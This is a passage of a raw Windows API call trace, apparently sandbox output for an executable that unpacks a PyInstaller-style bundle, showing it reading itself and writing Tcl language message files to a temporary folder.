0x1 [0037.395] htonl (hostlong=0x67645700) returned 0x576467 [0037.395] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5c1467, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.395] htonl (hostlong=0x66010000) returned 0x166 [0037.395] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x166) returned 0x550600 [0037.395] htonl (hostlong=0x66010000) returned 0x166 [0037.395] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.395] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.396] htonl (hostlong=0x75040000) returned 0x475 [0037.396] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x475) returned 0x550770 [0037.396] htonl (hostlong=0x66010000) returned 0x166 [0037.396] htonl (hostlong=0x75040000) returned 0x475 [0037.396] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.396] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.396] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.396] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.396] CloseHandle (hObject=0x10c) returned 1 [0037.396] GetLastError () returned 0x0 [0037.396] SetLastError (dwErrCode=0x0) [0037.396] GetLastError () returned 0x0 [0037.396] SetLastError (dwErrCode=0x0) [0037.396] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.396] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.396] GetFileType (hFile=0x10c) returned 0x1 [0037.396] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.396] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.396] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.396] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.396] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.396] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.396] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.396] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.396] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.396] CloseHandle (hObject=0x10c) returned 1 [0037.397] GetLastError () returned 0x0 [0037.397] SetLastError (dwErrCode=0x0) [0037.397] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.397] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.397] GetFileType (hFile=0x10c) returned 0x1 [0037.397] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.397] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.397] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.397] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.397] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.397] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.397] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.397] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.397] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.397] CloseHandle (hObject=0x10c) returned 1 [0037.397] GetLastError () returned 0x0 [0037.397] SetLastError (dwErrCode=0x0) [0037.397] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ga.msg") returned 61 [0037.397] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ga.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\ga.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.397] GetLastError () returned 0x2 [0037.397] SetLastError (dwErrCode=0x2) [0037.397] GetLastError () returned 0x2 [0037.398] SetLastError (dwErrCode=0x2) [0037.398] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ga.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ga.msg", lpFilePart=0x0) returned 0x3c [0037.398] GetLastError () returned 0x2 [0037.398] SetLastError (dwErrCode=0x2) [0037.398] GetLastError () returned 0x2 [0037.398] SetLastError (dwErrCode=0x2) [0037.398] GetLastError () returned 0x2 [0037.398] SetLastError (dwErrCode=0x2) [0037.398] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ga.msg") returned 61 [0037.398] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.398] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ga.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\ga.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.398] GetFileType (hFile=0x10c) returned 0x1 [0037.399] htonl (hostlong=0x75040000) returned 0x475 [0037.399] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.399] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x475, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x475, lpOverlapped=0x0) returned 1 [0037.400] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.400] CloseHandle (hObject=0x10c) returned 1 [0037.400] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550770 | out: hHeap=0x530000) returned 1 [0037.400] htonl (hostlong=0x30000000) returned 0x30 [0037.400] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.400] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.400] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.401] GetFileType (hFile=0x10c) returned 0x1 [0037.401] htonl (hostlong=0xcd655700) returned 0x5765cd [0037.401] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5c15cd, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.401] htonl (hostlong=0x9f000000) returned 0x9f [0037.401] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x9f) returned 0x55cfe0 [0037.401] htonl (hostlong=0x9f000000) returned 0x9f [0037.401] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.401] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.401] htonl (hostlong=0x17010000) returned 0x117 [0037.401] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x117) returned 0x550600 [0037.401] htonl (hostlong=0x9f000000) returned 0x9f [0037.401] htonl (hostlong=0x17010000) returned 0x117 [0037.401] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.401] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.401] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0037.401] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.401] CloseHandle (hObject=0x10c) returned 1 [0037.401] GetLastError () returned 0x0 [0037.401] SetLastError (dwErrCode=0x0) [0037.401] GetLastError () returned 0x0 [0037.401] SetLastError (dwErrCode=0x0) [0037.401] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.401] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.401] GetFileType (hFile=0x10c) returned 0x1 [0037.401] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.401] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.402] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.402] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.402] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.402] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.402] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.402] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.402] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.402] CloseHandle (hObject=0x10c) returned 1 [0037.402] GetLastError () returned 0x0 [0037.402] SetLastError (dwErrCode=0x0) [0037.402] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.402] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.402] GetFileType (hFile=0x10c) returned 0x1 [0037.402] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.402] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.402] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.402] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.402] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.402] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.402] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.402] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.402] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.402] CloseHandle (hObject=0x10c) returned 1 [0037.402] GetLastError () returned 0x0 [0037.403] SetLastError (dwErrCode=0x0) [0037.403] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ga_ie.msg") returned 64 [0037.403] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ga_ie.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\ga_ie.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.403] GetLastError () returned 0x2 [0037.403] SetLastError (dwErrCode=0x2) [0037.403] GetLastError () returned 0x2 [0037.403] SetLastError (dwErrCode=0x2) [0037.403] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ga_ie.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ga_ie.msg", lpFilePart=0x0) returned 0x3f [0037.403] GetLastError () returned 0x2 [0037.403] SetLastError (dwErrCode=0x2) [0037.403] GetLastError () returned 0x2 [0037.403] SetLastError (dwErrCode=0x2) [0037.403] GetLastError () returned 0x2 [0037.403] SetLastError (dwErrCode=0x2) [0037.403] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ga_ie.msg") returned 64 [0037.403] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.403] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ga_ie.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\ga_ie.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.403] GetFileType (hFile=0x10c) returned 0x1 [0037.403] htonl (hostlong=0x17010000) returned 0x117 [0037.403] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.403] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x117, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x117, lpOverlapped=0x0) returned 1 [0037.404] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.404] CloseHandle (hObject=0x10c) returned 1 [0037.405] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.405] htonl (hostlong=0x30000000) returned 0x30 [0037.405] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.405] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.405] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.405] GetFileType (hFile=0x10c) returned 0x1 [0037.405] htonl (hostlong=0x6c665700) returned 0x57666c [0037.405] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5c166c, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.405] htonl (hostlong=0x38010000) returned 0x138 [0037.405] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x138) returned 0x550600 [0037.405] htonl (hostlong=0x38010000) returned 0x138 [0037.405] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.405] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.406] htonl (hostlong=0xb6030000) returned 0x3b6 [0037.406] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x3b6) returned 0x550740 [0037.406] htonl (hostlong=0x38010000) returned 0x138 [0037.406] htonl (hostlong=0xb6030000) returned 0x3b6 [0037.406] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.406] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.406] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.406] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.406] CloseHandle (hObject=0x10c) returned 1 [0037.406] GetLastError () returned 0x0 [0037.406] SetLastError (dwErrCode=0x0) [0037.406] GetLastError () returned 0x0 [0037.406] SetLastError (dwErrCode=0x0) [0037.406] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.406] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.406] GetFileType (hFile=0x10c) returned 0x1 [0037.406] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.406] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.406] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.406] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.406] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.406] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.406] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.406] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.406] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.406] CloseHandle (hObject=0x10c) returned 1 [0037.407] GetLastError () returned 0x0 [0037.407] SetLastError (dwErrCode=0x0) [0037.407] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.407] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.407] GetFileType (hFile=0x10c) returned 0x1 [0037.407] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.407] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.407] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.407] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.407] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.407] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.407] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.407] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.407] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.407] CloseHandle (hObject=0x10c) returned 1 [0037.411] GetLastError () returned 0x0 [0037.411] SetLastError 